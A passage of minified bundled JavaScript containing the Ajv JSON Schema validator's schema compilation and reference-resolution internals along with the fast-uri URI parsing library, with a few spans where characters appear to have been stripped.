ee.if(L,()=>this.mergeEvaluated(C,c.Name)),!0}}t.KeywordCxt=K;function J(O,C,L,G){let ee=new K(O,L,C);"code"in L?L.code(ee,G):ee.$data&&L.validate?(0,i.funcKeywordCode)(ee,L):"macro"in L?(0,i.macroKeywordCode)(ee,L):(L.compile||L.validate)&&(0,i.funcKeywordCode)(ee,L)}var de=/^\/(?:[^~]|~0|~1)*$/,se=/^([0-9]+)(#|\/(?:[^~]|~0|~1)*)?$/;function me(O,{dataLevel:C,dataNames:L,dataPathArr:G}){let ee,ce;if(O==="")return u.default.rootData;if(O[0]==="/"){if(!de.test(O))throw new Error(`Invalid JSON-pointer: ${O}`);ee=O,ce=u.default.rootData}else{let Ne=se.exec(O);if(!Ne)throw new Error(`Invalid JSON-pointer: ${O}`);let ke=+Ne[1];if(ee=Ne[2],ee==="#"){if(ke>=C)throw new Error(Ae("property/index",ke));return G[C-ke]}if(ke>C)throw new Error(Ae("data",ke));if(ce=L[C-ke],!ee)return ce}let Te=ce,Ie=ee.split("/");for(let Ne of Ie)Ne&&(ce=(0,c._)`${ce}${(0,c.getProperty)((0,d.unescapeJsonPointer)(Ne))}`,Te=(0,c._)`${Te} && ${ce}`);return Te;function Ae(Ne,ke){return`Cannot access ${Ne} ${ke} levels up, current level is ${C}`}}t.getData=me}),xm=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});class e extends Error{constructor(n){super("validation failed"),this.errors=n,this.ajv=this.validation=!0}}t.default=e}),il=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=nl();class r extends Error{constructor(a,s,i,o){super(o||`can't resolve reference ${i} from id ${s}`),this.missingRef=(0,e.resolveUrl)(a,s,i),this.missingSchema=(0,e.normalizeId)((0,e.getFullPath)(a,this.missingRef))}}t.default=r}),wm=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.resolveSchema=t.getCompilingSchema=t.resolveRef=t.compileSchema=t.SchemaEnv=void 0;var e=Be(),r=xm(),n=Va(),a=nl(),s=Xe(),i=sl();class o{constructor(y){var v;this.refs={},this.dynamicAnchors={};let _;typeof y.schema=="object"&&(_=y.schema),this.schema=y.schema,this.schemaId=y.schemaId,this.root=y.root||this,this.baseId=(v=y.baseId)!==null&&v!==void 0?v:(0,a.normalizeId)(_?.[y.schemaId||"$id"]),this.schemaPath=y.schemaPath,this.localRefs=y.localRefs,this.meta=y.meta,this.$async=_?.$async,this.refs={}}}t.SchemaEnv=o;function c(h){let y=d.call(this,h);if(y)return y;let v=(0,a.getFullPath)(this.opts.uriResolver,h.root.baseId),{es5:_,lines:S}=this.opts.code,{ownProperties:x}=this.opts,E=new e.CodeGen(this.scope,{es5:_,lines:S,ownProperties:x}),T;h.$async&&(T=E.scopeValue("Error",{ref:r.default,code:(0,e._)`require("ajv/dist/runtime/validation_error").default`}));let $=E.scopeName("validate");h.validateName=$;let N={gen:E,allErrors:this.opts.allErrors,data:n.default.data,parentData:n.default.parentData,parentDataProperty:n.default.parentDataProperty,dataNames:[n.default.data],dataPathArr:[e.nil],dataLevel:0,dataTypes:[],definedProperties:new Set,topSchemaRef:E.scopeValue("schema",this.opts.code.source===!0?{ref:h.schema,code:(0,e.stringify)(h.schema)}:{ref:h.schema}),validateName:$,ValidationError:T,schema:h.schema,schemaEnv:h,rootId:v,baseId:h.baseId||v,schemaPath:e.nil,errSchemaPath:h.schemaPath||(this.opts.jtd?"":"#"),errorPath:(0,e._)`""`,opts:this.opts,self:this},j;try{this._compilations.add(h),(0,i.validateFunctionCode)(N),E.optimize(this.opts.code.optimize);let q=E.toString();j=`${E.scopeRefs(n.default.scope)}return ${q}`,this.opts.code.process&&(j=this.opts.code.process(j,h));let A=new Function(`${n.default.self}`,`${n.default.scope}`,j)(this,this.scope.get());if(this.scope.value($,{ref:A}),A.errors=null,A.schema=h.schema,A.schemaEnv=h,h.$async&&(A.$async=!0),this.opts.code.source===!0&&(A.source={validateName:$,validateCode:q,scopeValues:E._values}),this.opts.unevaluated){let{props:W,items:oe}=N;A.evaluated={props:W instanceof e.Name?void 0:W,items:oe instanceof e.Name?void 0:oe,dynamicProps:W instanceof e.Name,dynamicItems:oe instanceof e.Name},A.source&&(A.source.evaluated=(0,e.stringify)(A.evaluated))}return h.validate=A,h}catch(q){throw delete h.validate,delete h.validateName,j&&this.logger.error("Error compiling schema, function code:",j),q}finally{this._compilations.delete(h)}}t.compileSchema=c;function u(h,y,v){var _;v=(0,a.resolveUrl)(this.opts.uriResolver,y,v);let S=h.refs[v];if(S)return S;let x=m.call(this,h,v);if(x===void 0){let E=(_=h.localRefs)===null||_===void 0?void 0:_[v],{schemaId:T}=this.opts;E&&(x=new o({schema:E,schemaId:T,root:h,baseId:y}))}if(x!==void 0)return h.refs[v]=l.call(this,x)}t.resolveRef=u;function l(h){return(0,a.inlineRef)(h.schema,this.opts.inlineRefs)?h.schema:h.validate?h:c.call(this,h)}function d(h){for(let y of this._compilations)if(f(y,h))return y}t.getCompilingSchema=d;function f(h,y){return h.schema===y.schema&&h.root===y.root&&h.baseId===y.baseId}function m(h,y){let v;for(;typeof(v=this.refs[y])=="string";)y=v;return v||this.schemas[y]||g.call(this,h,y)}function g(h,y){let v=this.opts.uriResolver.parse(y),_=(0,a._getFullPath)(this.opts.uriResolver,v),S=(0,a.getFullPath)(this.opts.uriResolver,h.baseId,void 0);if(Object.keys(h.schema).length>0&&_===S)return p.call(this,v,h);let x=(0,a.normalizeId)(_),E=this.refs[x]||this.schemas[x];if(typeof E=="string"){let T=g.call(this,h,E);return typeof T?.schema!="object"?void 0:p.call(this,v,T)}if(typeof E?.schema=="object"){if(E.validate||c.call(this,E),x===(0,a.normalizeId)(y)){let{schema:T}=E,{schemaId:$}=this.opts,N=T[$];return N&&(S=(0,a.resolveUrl)(this.opts.uriResolver,S,N)),new o({schema:T,schemaId:$,root:h,baseId:S})}return p.call(this,v,E)}}t.resolveSchema=g;var b=new Set(["properties","patternProperties","enum","dependencies","definitions"]);function p(h,{baseId:y,schema:v,root:_}){var S;if(((S=h.fragment)===null||S===void 0?void 0:S[0])!=="/")return;for(let T of h.fragment.slice(1).split("/")){if(typeof v=="boolean")return;let $=v[(0,s.unescapeFragment)(T)];if($===void 0)return;v=$;let N=typeof v=="object"&&v[this.opts.schemaId];!b.has(T)&&N&&(y=(0,a.resolveUrl)(this.opts.uriResolver,y,N))}let x;if(typeof v!="boolean"&&v.$ref&&!(0,s.schemaHasRulesButRef)(v,this.RULES)){let T=(0,a.resolveUrl)(this.opts.uriResolver,y,v.$ref);x=g.call(this,_,T)}let{schemaId:E}=this.opts;if(x=x||new o({schema:v,schemaId:E,root:_,baseId:y}),x.schema!==x.root.schema)return x}}),bq=Q((t,e)=>{e.exports={$id:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#",description:"Meta-schema for $data reference (JSON AnySchema extension proposal)",type:"object",required:["$data"],properties:{$data:{type:"string",anyOf:[{format:"relative-json-pointer"},{format:"json-pointer"}]}},additionalProperties:!1}}),xq=Q((t,e)=>{var r={0:0,1:1,2:2,3:3,4:4,5:5,6:6,7:7,8:8,9:9,a:10,A:10,b:11,B:11,c:12,C:12,d:13,D:13,e:14,E:14,f:15,F:15};e.exports={HEX:r}}),wq=Q((t,e)=>{var{HEX:r}=xq(),n=/^(?:(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)\.){3}(?:25[0-5]|2[0-4]\d|1\d{2}|[1-9]\d|\d)$/u;function a(h){if(u(h,".")<3)return{host:h,isIPV4:!1};let y=h.match(n)||[],[v]=y;return v?{host:c(v,"."),isIPV4:!0}:{host:h,isIPV4:!1}}function s(h,y=!1){let v="",_=!0;for(let S of h){if(r[S]===void 0)return;S!=="0"&&_===!0&&(_=!1),_||(v+=S)}return y&&v.length===0&&(v="0"),v}function i(h){let y=0,v={error:!1,address:"",zone:""},_=[],S=[],x=!1,E=!1,T=!1;function $(){if(S.length){if(x===!1){let N=s(S);if(N!==void 0)_.push(N);else return v.error=!0,!1}S.length=0}return!0}for(let N=0;N7){v.error=!0;break}N-1>=0&&h[N-1]===":"&&(E=!0);continue}else if(j==="%"){if(!$())break;x=!0}else{S.push(j);continue}}return S.length&&(x?v.zone=S.join(""):T?_.push(S.join("")):_.push(s(S))),v.address=_.join(""),v}function o(h){if(u(h,":")<2)return{host:h,isIPV6:!1};let y=i(h);if(y.error)return{host:h,isIPV6:!1};{let v=y.address,_=y.address;return y.zone&&(v+="%"+y.zone,_+="%25"+y.zone),{host:v,escapedHost:_,isIPV6:!0}}}function c(h,y){let v="",_=!0,S=h.length;for(let x=0;x{var r=/^[\da-f]{8}-[\da-f]{4}-[\da-f]{4}-[\da-f]{4}-[\da-f]{12}$/iu,n=/([\da-z][\d\-a-z]{0,31}):((?:[\w!$'()*+,\-.:;=@]|%[\da-f]{2})+)/iu;function a(_){return typeof _.secure=="boolean"?_.secure:String(_.scheme).toLowerCase()==="wss"}function s(_){return _.host||(_.error=_.error||"HTTP URIs must have a host."),_}function i(_){let S=String(_.scheme).toLowerCase()==="https";return(_.port===(S?443:80)||_.port==="")&&(_.port=void 0),_.path||(_.path="/"),_}function o(_){return _.secure=a(_),_.resourceName=(_.path||"/")+(_.query?"?"+_.query:""),_.path=void 0,_.query=void 0,_}function c(_){if((_.port===(a(_)?443:80)||_.port==="")&&(_.port=void 0),typeof _.secure=="boolean"&&(_.scheme=_.secure?"wss":"ws",_.secure=void 0),_.resourceName){let[S,x]=_.resourceName.split("?");_.path=S&&S!=="/"?S:void 0,_.query=x,_.resourceName=void 0}return _.fragment=void 0,_}function u(_,S){if(!_.path)return _.error="URN can not be parsed",_;let x=_.path.match(n);if(x){let E=S.scheme||_.scheme||"urn";_.nid=x[1].toLowerCase(),_.nss=x[2];let T=`${E}:${S.nid||_.nid}`,$=v[T];_.path=void 0,$&&(_=$.parse(_,S))}else _.error=_.error||"URN can not be parsed.";return _}function l(_,S){let x=S.scheme||_.scheme||"urn",E=_.nid.toLowerCase(),T=`${x}:${S.nid||E}`,$=v[T];$&&(_=$.serialize(_,S));let N=_,j=_.nss;return N.path=`${E||S.nid}:${j}`,S.skipEscape=!0,N}function d(_,S){let x=_;return x.uuid=x.nss,x.nss=void 0,!S.tolerant&&(!x.uuid||!r.test(x.uuid))&&(x.error=x.error||"UUID is not valid."),x}function f(_){let S=_;return S.nss=(_.uuid||"").toLowerCase(),S}var m={scheme:"http",domainHost:!0,parse:s,serialize:i},g={scheme:"https",domainHost:m.domainHost,parse:s,serialize:i},b={scheme:"ws",domainHost:!0,parse:o,serialize:c},p={scheme:"wss",domainHost:b.domainHost,parse:b.parse,serialize:b.serialize},h={scheme:"urn",parse:u,serialize:l,skipNormalize:!0},y={scheme:"urn:uuid",parse:d,serialize:f,skipNormalize:!0},v={http:m,https:g,ws:b,wss:p,urn:h,"urn:uuid":y};e.exports=v}),W1=Q((t,e)=>{var{normalizeIPv6:r,normalizeIPv4:n,removeDotSegments:a,recomposeAuthority:s,normalizeComponentEncoding:i}=wq(),o=Sq();function c(y,v){return typeof y=="string"?y=f(p(y,v),v):typeof y=="object"&&(y=p(f(y,v),v)),y}function u(y,v,_){let S=Object.assign({scheme:"null"},_),x=l(p(y,S),p(v,S),S,!0);return f(x,{...S,skipEscape:!0})}function l(y,v,_,S){let x={};return S||(y=p(f(y,_),_),v=p(f(v,_),_)),_=_||{},!_.tolerant&&v.scheme?(x.scheme=v.scheme,x.userinfo=v.userinfo,x.host=v.host,x.port=v.port,x.path=a(v.path||""),x.query=v.query):(v.userinfo!==void 0||v.host!==void 0||v.port!==void 0?(x.userinfo=v.userinfo,x.host=v.host,x.port=v.port,x.path=a(v.path||""),x.query=v.query):(v.path?(v.path.charAt(0)==="/"?x.path=a(v.path):((y.userinfo!==void 0||y.host!==void 0||y.port!==void 0)&&!y.path?x.path="/"+v.path:y.path?x.path=y.path.slice(0,y.path.lastIndexOf("/")+1)+v.path:x.path=v.path,x.path=a(x.path)),x.query=v.query):(x.path=y.path,v.query!==void 0?x.query=v.query:x.query=y.query),x.userinfo=y.userinfo,x.host=y.host,x.port=y.port),x.scheme=y.scheme),x.fragment=v.fragment,x}function d(y,v,_){return typeof y=="string"?(y=unescape(y),y=f(i(p(y,_),!0),{..._,skipEscape:!0})):typeof y=="object"&&(y=f(i(y,!0),{..._,skipEscape:!0})),typeof v=="string"?(v=unescape(v),v=f(i(p(v,_),!0),{..._,skipEscape:!0})):typeof v=="object"&&(v=f(i(v,!0),{..._,skipEscape:!0})),y.toLowerCase()===v.toLowerCase()}function f(y,v){let _={host:y.host,scheme:y.scheme,userinfo:y.userinfo,port:y.port,path:y.path,query:y.query,nid:y.nid,nss:y.nss,uuid:y.uuid,fragment:y.fragment,reference:y.reference,resourceName:y.resourceName,secure:y.secure,error:""},S=Object.assign({},v),x=[],E=o[(S.scheme||_.scheme||"").toLowerCase()];E&&E.serialize&&E.serialize(_,S),_.path!==void 0&&(S.skipEscape?_.path=unescape(_.path):(_.path=escape(_.path),_.scheme!==void 0&&(_.path=_.path.split("%3A").join(":")))),S.reference!=="suffix"&&_.scheme&&x.push(_.scheme,":");let T=s(_);if(T!==void 0&&(S.reference!=="suffix"&&x.push("//"),x.push(T),_.path&&_.path.charAt(0)!=="/"&&x.push("/")),_.path!==void 0){let $=_.path;!S.absolutePath&&(!E||!E.absolutePath)&&($=a($)),T===void 0&&($=$.replace(/^\/\//u,"/%2F")),x.push($)}return _.query!==void 0&&x.push("?",_.query),_.fragment!==void 0&&x.push("#",_.fragment),x.join("")}var m=Array.from({length:127},(y,v)=>/[^!"$&'()*+,\-.;=_`a-z{}~]/u.test(String.fromCharCode(v)));function g(y){let v=0;for(let _=0,S=y.length;_126||m[v])return!0;return!1}var b=/^(?:([^#/:?]+):)?(?:\/\/((?:([^#/?@]*)@)?(\[[^#/?\]]+\]|[^#/:?]*)(?::(\d*))?))?([^#?]*)(?:\?([^#]*))?(?:#((?:.|[\n\r])*))?/u;function p(y,v){let _=Object.assign({},v),S={scheme:void 0,userinfo:void 0,host:"",port:void 0,path:"",query:void 0,fragment:void 0},x=y.indexOf("%")!==-1,E=!1;_.reference==="suffix"&&(y=(_.scheme?_.scheme+":":"")+"//"+y);let T=y.match(b);if(T){if(S.scheme=T[1],S.userinfo=T[3],S.host=T[4],S.port=parseInt(T[5],10),S.path=T[6]||"",S.query=T[7],S.fragment=T[8],isNaN(S.port)&&(S.port=T[5]),S.host){let N=n(S.host);if(N.isIPV4===!1){let j=r(N.host);S.host=j.host.toLowerCase(),E=j.isIPV6}else S.host=N.host,E=!0}S.scheme===void 0&&S.userinfo===void 0&&S.host===void 0&&S.port===void 0&&S.query===void 0&&!S.path?S.reference="same-document":S.scheme===void 0?S.reference="relative":S.fragment===void 0?S.reference="absolute":S.reference="uri",_.reference&&_.reference!=="suffix"&&_.reference!==S.reference&&(S.error=S.error||"URI is not a "+_.reference+" reference.");let $=o[(_.scheme||S.scheme||"").toLowerCase()];if(!_.unicodeSupport&&(!$||!$.unicodeSupport)&&S.host&&(_.domainHost||$&&$.domainHost)&&E===!1&&g(S.host))try{S.host=URL.domainToASCII(S.host.toLowerCase())}catch(N){S.error=S.error||"Host's domain name can not be converted to ASCII: "+N}(!$||$&&!$.skipNormalize)&&(x&&S.scheme!==void 0&&(S.scheme=unescape(S.scheme)),x&&S.host!==void 0&&(S.host=unescape(S.host)),S.path&&(S.path=escape(unescape(S.path))),S.fragment&&(S.fragment=encodeURI(decodeURIComponent(S.fragment)))),$&&$.parse&&$.parse(S,_)}else S.error=S.error||"URI can not be parsed.";return S}var h={SCHEMES:o,normalize:c,resolve:u,resolveComponents:l,equal:d,serialize:f,parse:p};e.exports=h,e.exports.default=h,e.exports.fastUri=h}),Eq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e=W1();e.code='require("ajv/dist/runtime/uri").default',t.default=e}),Tq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.CodeGen=t.Name=t.nil=t.stringify=t.str=t._=t.KeywordCxt=void 0;var e=sl();Object.defineProperty(t,"KeywordCxt",{enumerable:!0,get:function(){return e.KeywordCxt}});var r=Be();Object.defineProperty(t,"_",{enumerable:!0,get:function(){return r._}}),Object.defineProperty(t,"str",{enumerable:!0,get:function(){return r.str}}),Object.defineProperty(t,"stringify",{enumerable:!0,get:function(){return r.stringify}}),Object.defineProperty(t,"nil",{enumerable:!0,get:function(){return r.nil}}),Object.defineProperty(t,"Name",{enumerable:!0,get:function(){return r.Name}}),Object.defineProperty(t,"CodeGen",{enumerable:!0,get:function(){return r.CodeGen}});var n=xm(),a=il(),s=Z1(),i=wm(),o=Be(),c=nl(),u=Gu(),l=Xe(),d=bq(),f=Eq(),m=(F,R)=>new RegExp(F,R);m.code="new RegExp";var g=["removeAdditional","useDefaults","coerceTypes"],b=new Set(["validate","serialize","parse","wrapper","root","schema","keyword","pattern","formats","validate$data","func","obj","Error"]),p={errorDataPath:"",format:"`validateFormats: false` can be used instead.",nullable:'"nullable" keyword is supported by default.',jsonPointers:"Deprecated jsPropertySyntax can be used instead.",extendRefs:"Deprecated ignoreKeywordsWithRef can be used instead.",missingRefs:"Pass empty schema with $id that should be ignored to ajv.addSchema.",processCode:"Use option `code: {process: (code, schemaEnv: object) => string}`",sourceCode:"Use option `code: {source: true}`",strictDefaults:"It is default now, see option `strict`.",strictKeywords:"It is default now, see option `strict`.",uniqueItems:'"uniqueItems" keyword is always validated.',unknownFormats:"Disable strict mode or pass `true` to `ajv.addFormat` (or `formats` option).",cache:"Map is used as cache, schema object as key.",serialize:"Map is used as cache, schema object as key.",ajvErrors:"It is default now."},h={ignoreKeywordsWithRef:"",jsPropertySyntax:"",unicode:'"minLength"/"maxLength" account for unicode characters by default.'},y=200;function v(F){var R,z,I,w,k,M,K,J,de,se,me,O,C,L,G,ee,ce,Te,Ie,Ae,Ne,ke,pt,Le,fr;let Zt=F.strict,It=(R=F.code)===null||R===void 0?void 0:R.optimize,Ir=It===!0||It===void 0?1:It||0,wa=(I=(z=F.code)===null||z===void 0?void 0:z.regExp)!==null&&I!==void 0?I:m,Hn=(w=F.uriResolver)!==null&&w!==void 0?w:f.default;return{strictSchema:(M=(k=F.strictSchema)!==null&&k!==void 0?k:Zt)!==null&&M!==void 0?M:!0,strictNumbers:(J=(K=F.strictNumbers)!==null&&K!==void 0?K:Zt)!==null&&J!==void 0?J:!0,strictTypes:(se=(de=F.strictTypes)!==null&&de!==void 0?de:Zt)!==null&&se!==void 0?se:"log",strictTuples:(O=(me=F.strictTuples)!==null&&me!==void 0?me:Zt)!==null&&O!==void 0?O:"log",strictRequired:(L=(C=F.strictRequired)!==null&&C!==void 0?C:Zt)!==null&&L!==void 0?L:!1,code:F.code?{...F.code,optimize:Ir,regExp:wa}:{optimize:Ir,regExp:wa},loopRequired:(G=F.loopRequired)!==null&&G!==void 0?G:y,loopEnum:(ee=F.loopEnum)!==null&&ee!==void 0?ee:y,meta:(ce=F.meta)!==null&&ce!==void 0?ce:!0,messages:(Te=F.messages)!==null&&Te!==void 0?Te:!0,inlineRefs:(Ie=F.inlineRefs)!==null&&Ie!==void 0?Ie:!0,schemaId:(Ae=F.schemaId)!==null&&Ae!==void 0?Ae:"$id",addUsedSchema:(Ne=F.addUsedSchema)!==null&&Ne!==void 0?Ne:!0,validateSchema:(ke=F.validateSchema)!==null&&ke!==void 0?ke:!0,validateFormats:(pt=F.validateFormats)!==null&&pt!==void 0?pt:!0,unicodeRegExp:(Le=F.unicodeRegExp)!==null&&Le!==void 0?Le:!0,int32range:(fr=F.int32range)!==null&&fr!==void 0?fr:!0,uriResolver:Hn}}class _{constructor(R={}){this.schemas={},this.refs={},this.formats={},this._compilations=new Set,this._loading={},this._cache=new Map,R=this.opts={...R,...v(R)};let{es5:z,lines:I}=this.opts.code;this.scope=new o.ValueScope({scope:{},prefixes:b,es5:z,lines:I}),this.logger=q(R.logger);let w=R.validateFormats;R.validateFormats=!1,this.RULES=(0,s.getRules)(),S.call(this,p,R,"NOT SUPPORTED"),S.call(this,h,R,"DEPRECATED","warn"),this._metaOpts=N.call(this),R.formats&&T.call(this),this._addVocabularies(),this._addDefaultMetaSchema(),R.keywords&&$.call(this,R.keywords),typeof R.meta=="object"&&this.addMetaSchema(R.meta),E.call(this),R.validateFormats=w}_addVocabularies(){this.addKeyword("$async")}_addDefaultMetaSchema(){let{$data:R,meta:z,schemaId:I}=this.opts,w=d;I==="id"&&(w={...d},w.id=w.$id,delete w.$id),z&&R&&this.addMetaSchema(w,w[I],!1)}defaultMeta(){let{meta:R,schemaId:z}=this.opts;return this.opts.defaultMeta=typeof R=="object"?R[z]||R:void 0}validate(R,z){let I;if(typeof R=="string"){if(I=this.getSchema(R),!I)throw new Error(`no schema with key or ref "${R}"`)}else I=this.compile(R);let w=I(z);return"$async"in I||(this.errors=I.errors),w}compile(R,z){let I=this._addSchema(R,z);return I.validate||this._compileSchemaEnv(I)}compileAsync(R,z){if(typeof this.opts.loadSchema!="function")throw new Error("options.loadSchema should be a function");let{loadSchema:I}=this.opts;return w.call(this,R,z);async function w(se,me){await k.call(this,se.$schema);let O=this._addSchema(se,me);return O.validate||M.call(this,O)}async function k(se){se&&!this.getSchema(se)&&await w.call(this,{$ref:se},!0)}async function M(se){try{return this._compileSchemaEnv(se)}catch(me){if(!(me instanceof a.default))throw me;return K.call(this,me),await J.call(this,me.missingSchema),M.call(this,se)}}function K({missingSchema:se,missingRef:me}){if(this.refs[se])throw new Error(`AnySchema ${se} is loaded but ${me} cannot be resolved`)}async function J(se){let me=await de.call(this,se);this.refs[se]||await k.call(this,me.$schema),this.refs[se]||this.addSchema(me,se,z)}async function de(se){let me=this._loading[se];if(me)return me;try{return await(this._loading[se]=I(se))}finally{delete this._loading[se]}}}addSchema(R,z,I,w=this.opts.validateSchema){if(Array.isArray(R)){for(let M of R)this.addSchema(M,void 0,I,w);return this}let k;if(typeof R=="object"){let{schemaId:M}=this.opts;if(k=R[M],k!==void 0&&typeof k!="string")throw new Error(`schema ${M} must be string`)}return z=(0,c.normalizeId)(z||k),this._checkUnique(z),this.schemas[z]=this._addSchema(R,I,z,w,!0),this}addMetaSchema(R,z,I=this.opts.validateSchema){return this.addSchema(R,z,!0,I),this}validateSchema(R,z){if(typeof R=="boolean")return!0;let I;if(I=R.$schema,I!==void 0&&typeof I!="string")throw new Error("$schema must be a string");if(I=I||this.opts.defaultMeta||this.defaultMeta(),!I)return this.logger.warn("meta-schema not available"),this.errors=null,!0;let w=this.validate(I,R);if(!w&&z){let k="schema is invalid: "+this.errorsText();if(this.opts.validateSchema==="log")this.logger.error(k);else throw new Error(k)}return w}getSchema(R){let z;for(;typeof(z=x.call(this,R))=="string";)R=z;if(z===void 0){let{schemaId:I}=this.opts,w=new i.SchemaEnv({schema:{},schemaId:I});if(z=i.resolveSchema.call(this,w,R),!z)return;this.refs[R]=z}return z.validate||this._compileSchemaEnv(z)}removeSchema(R){if(R instanceof RegExp)return this._removeAllSchemas(this.schemas,R),this._removeAllSchemas(this.refs,R),this;switch(typeof R){case"undefined":return this._removeAllSchemas(this.schemas),this._removeAllSchemas(this.refs),this._cache.clear(),this;case"string":{let z=x.call(this,R);return typeof z=="object"&&this._cache.delete(z.schema),delete this.schemas[R],delete this.refs[R],this}case"object":{let z=R;this._cache.delete(z);let I=R[this.opts.schemaId];return I&&(I=(0,c.normalizeId)(I),delete this.schemas[I],delete this.refs[I]),this}default:throw new Error("ajv.removeSchema: invalid parameter")}}addVocabulary(R){for(let z of R)this.addKeyword(z);return this}addKeyword(R,z){let I;if(typeof R=="string")I=R,typeof z=="object"&&(this.logger.warn("these parameters are deprecated, see docs for addKeyword"),z.keyword=I);else if(typeof R=="object"&&z===void 0){if(z=R,I=z.keyword,Array.isArray(I)&&!I.length)throw new Error("addKeywords: keyword must be string or non-empty array")}else throw new Error("invalid addKeywords parameters");if(A.call(this,I,z),!z)return(0,l.eachItem)(I,k=>W.call(this,k)),this;he.call(this,z);let w={...z,type:(0,u.getJSONTypes)(z.type),schemaType:(0,u.getJSONTypes)(z.schemaType)};return(0,l.eachItem)(I,w.type.length===0?k=>W.call(this,k,w):k=>w.type.forEach(M=>W.call(this,k,w,M))),this}getKeyword(R){let z=this.RULES.all[R];return typeof z=="object"?z.definition:!!z}removeKeyword(R){let{RULES:z}=this;delete z.keywords[R],delete z.all[R];for(let I of z.rules){let w=I.rules.findIndex(k=>k.keyword===R);w>=0&&I.rules.splice(w,1)}return this}addFormat(R,z){return typeof z=="string"&&(z=new RegExp(z)),this.formats[R]=z,this}errorsText(R=this.errors,{separator:z=", ",dataVar:I="data"}={}){return!R||R.length===0?"No errors":R.map(w=>`${I}${w.instancePath} ${w.message}`).reduce((w,k)=>w+z+k)}$dataMetaSchema(R,z){let I=this.RULES.all;R=JSON.parse(JSON.stringify(R));for(let w of z){let k=w.split("/").slice(1),M=R;for(let K of k)M=M[K];for(let K in I){let J=I[K];if(typeof J!="object")continue;let{$data:de}=J.definition,se=M[K];de&&se&&(M[K]=re(se))}}return R}_removeAllSchemas(R,z){for(let I in R){let w=R[I];(!z||z.test(I))&&(typeof w=="string"?delete R[I]:w&&!w.meta&&(this._cache.delete(w.schema),delete R[I]))}}_addSchema(R,z,I,w=this.opts.validateSchema,k=this.opts.addUsedSchema){let M,{schemaId:K}=this.opts;if(typeof R=="object")M=R[K];else{if(this.opts.jtd)throw new Error("schema must be object");if(typeof R!="boolean")throw new Error("schema must be object or boolean")}let J=this._cache.get(R);if(J!==void 0)return J;I=(0,c.normalizeId)(M||I);let de=c.getSchemaRefs.call(this,R,I);return J=new i.SchemaEnv({schema:R,schemaId:K,meta:z,baseId:I,localRefs:de}),this._cache.set(J.schema,J),k&&!I.startsWith("#")&&(I&&this._checkUnique(I),this.refs[I]=J),w&&this.validateSchema(R,!0),J}_checkUnique(R){if(this.schemas[R]||this.refs[R])throw new Error(`schema with key or id "${R}" already exists`)}_compileSchemaEnv(R){if(R.meta?this._compileMetaSchema(R):i.compileSchema.call(this,R),!R.validate)throw new Error("ajv implementation error");return R.validate}_compileMetaSchema(R){let z=this.opts;this.opts=this._metaOpts;try{i.compileSchema.call(this,R)}finally{this.opts=z}}}_.ValidationError=n.default,_.MissingRefError=a.default,t.default=_;function S(F,R,z,I="error"){for(let w in F){let k=w;k in R&&this.logger[I](`${z}: option ${w}. ${F[k]}`)}}function x(F){return F=(0,c.normalizeId)(F),this.schemas[F]||this.refs[F]}function E(){let F=this.opts.schemas;if(F)if(Array.isArray(F))this.addSchema(F);else for(let R in F)this.addSchema(F[R],R)}function T(){for(let F in this.opts.formats){let R=this.opts.formats[F];R&&this.addFormat(F,R)}}function $(F){if(Array.isArray(F)){this.addVocabulary(F);return}this.logger.warn("keywords option as map is deprecated, pass array");for(let R in F){let z=F[R];z.keyword||(z.keyword=R),this.addKeyword(z)}}function N(){let F={...this.opts};for(let R of g)delete F[R];return F}var j={log(){},warn(){},error(){}};function q(F){if(F===!1)return j;if(F===void 0)return console;if(F.log&&F.warn&&F.error)return F;throw new Error("logger must implement log, warn and error methods")}var H=/^[a-z_$][a-z0-9_$:-]*$/i;function A(F,R){let{RULES:z}=this;if((0,l.eachItem)(F,I=>{if(z.keywords[I])throw new Error(`Keyword ${I} is already defined`);if(!H.test(I))throw new Error(`Keyword ${I} has invalid name`)}),!!R&&R.$data&&!("code"in R||"validate"in R))throw new Error('$data keyword must have "code" or "validate" function')}function W(F,R,z){var I;let w=R?.post;if(z&&w)throw new Error('keyword with "post" flag cannot have "type"');let{RULES:k}=this,M=w?k.post:k.rules.find(({type:J})=>J===z);if(M||(M={type:z,rules:[]},k.rules.push(M)),k.keywords[F]=!0,!R)return;let K={keyword:F,definition:{...R,type:(0,u.getJSONTypes)(R.type),schemaType:(0,u.getJSONTypes)(R.schemaType)}};R.before?oe.call(this,M,K,R.before):M.rules.push(K),k.all[F]=K,(I=R.implements)===null||I===void 0||I.forEach(J=>this.addKeyword(J))}function oe(F,R,z){let I=F.rules.findIndex(w=>w.keyword===z);I>=0?F.rules.splice(I,0,R):(F.rules.push(R),this.logger.warn(`rule ${z} is not defined`))}function he(F){let{metaSchema:R}=F;R!==void 0&&(F.$data&&this.opts.$data&&(R=re(R)),F.validateSchema=this.compile(R,!0))}var ne={$ref:"https://raw.githubusercontent.com/ajv-validator/ajv/master/lib/refs/data.json#"};function re(F){return{anyOf:[F,ne]}}}),kq=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0});var e={keyword:"id",code(){throw new Error('NOT SUPPORTED: keyword "id", use "$id" for schema ID')}};t.default=e}),$q=Q(t=>{Object.defineProperty(t,"__esModule",{value:!0}),t.callRef=t.getValidate=void 0;var e=il(),r=zr(),n=Be(),a=Va(),s=wm(),i=Xe(),o={keyword:"$ref",schemaType:"string",code(l){let{gen:d,schema:f,it:m}=l,{baseId:g,schemaEnv:b,validateName:p,opts:h,self:y}=m,{root:v}=b;if((f==="#"||f==="#/")&&g===v.baseId)return S();let _=s.resolveRef.call(y,v,g,f);if(_===void 0)throw new e.default(m.opts.uriResolver,g,f);if(_ instanceof s.SchemaEnv)return x(_);return E(_);function S(){if(b===v)return u(l,p,b,b.$async);let T=d.scopeValue("root",{ref:v});return u(l,(0,n._)`${T}.validate`,v,v.$async)}function x(T){let $=c(l,T);u(l,$,T,T.$async)}function E(T){let $=d.scopeValue("schema",h.code.source===!0?{ref:T,code:(0,n.stringify)(T)}:{ref:T}),N=d.name("valid"),j=l.subschema({schema:T,dataTypes:[],schemaPath:n.nil,topSchemaRef:$,errSchemaPath:f},N);l.mergeEvaluated(j),l.ok(N)}}};function c(l,d){let{gen:f}=l;return 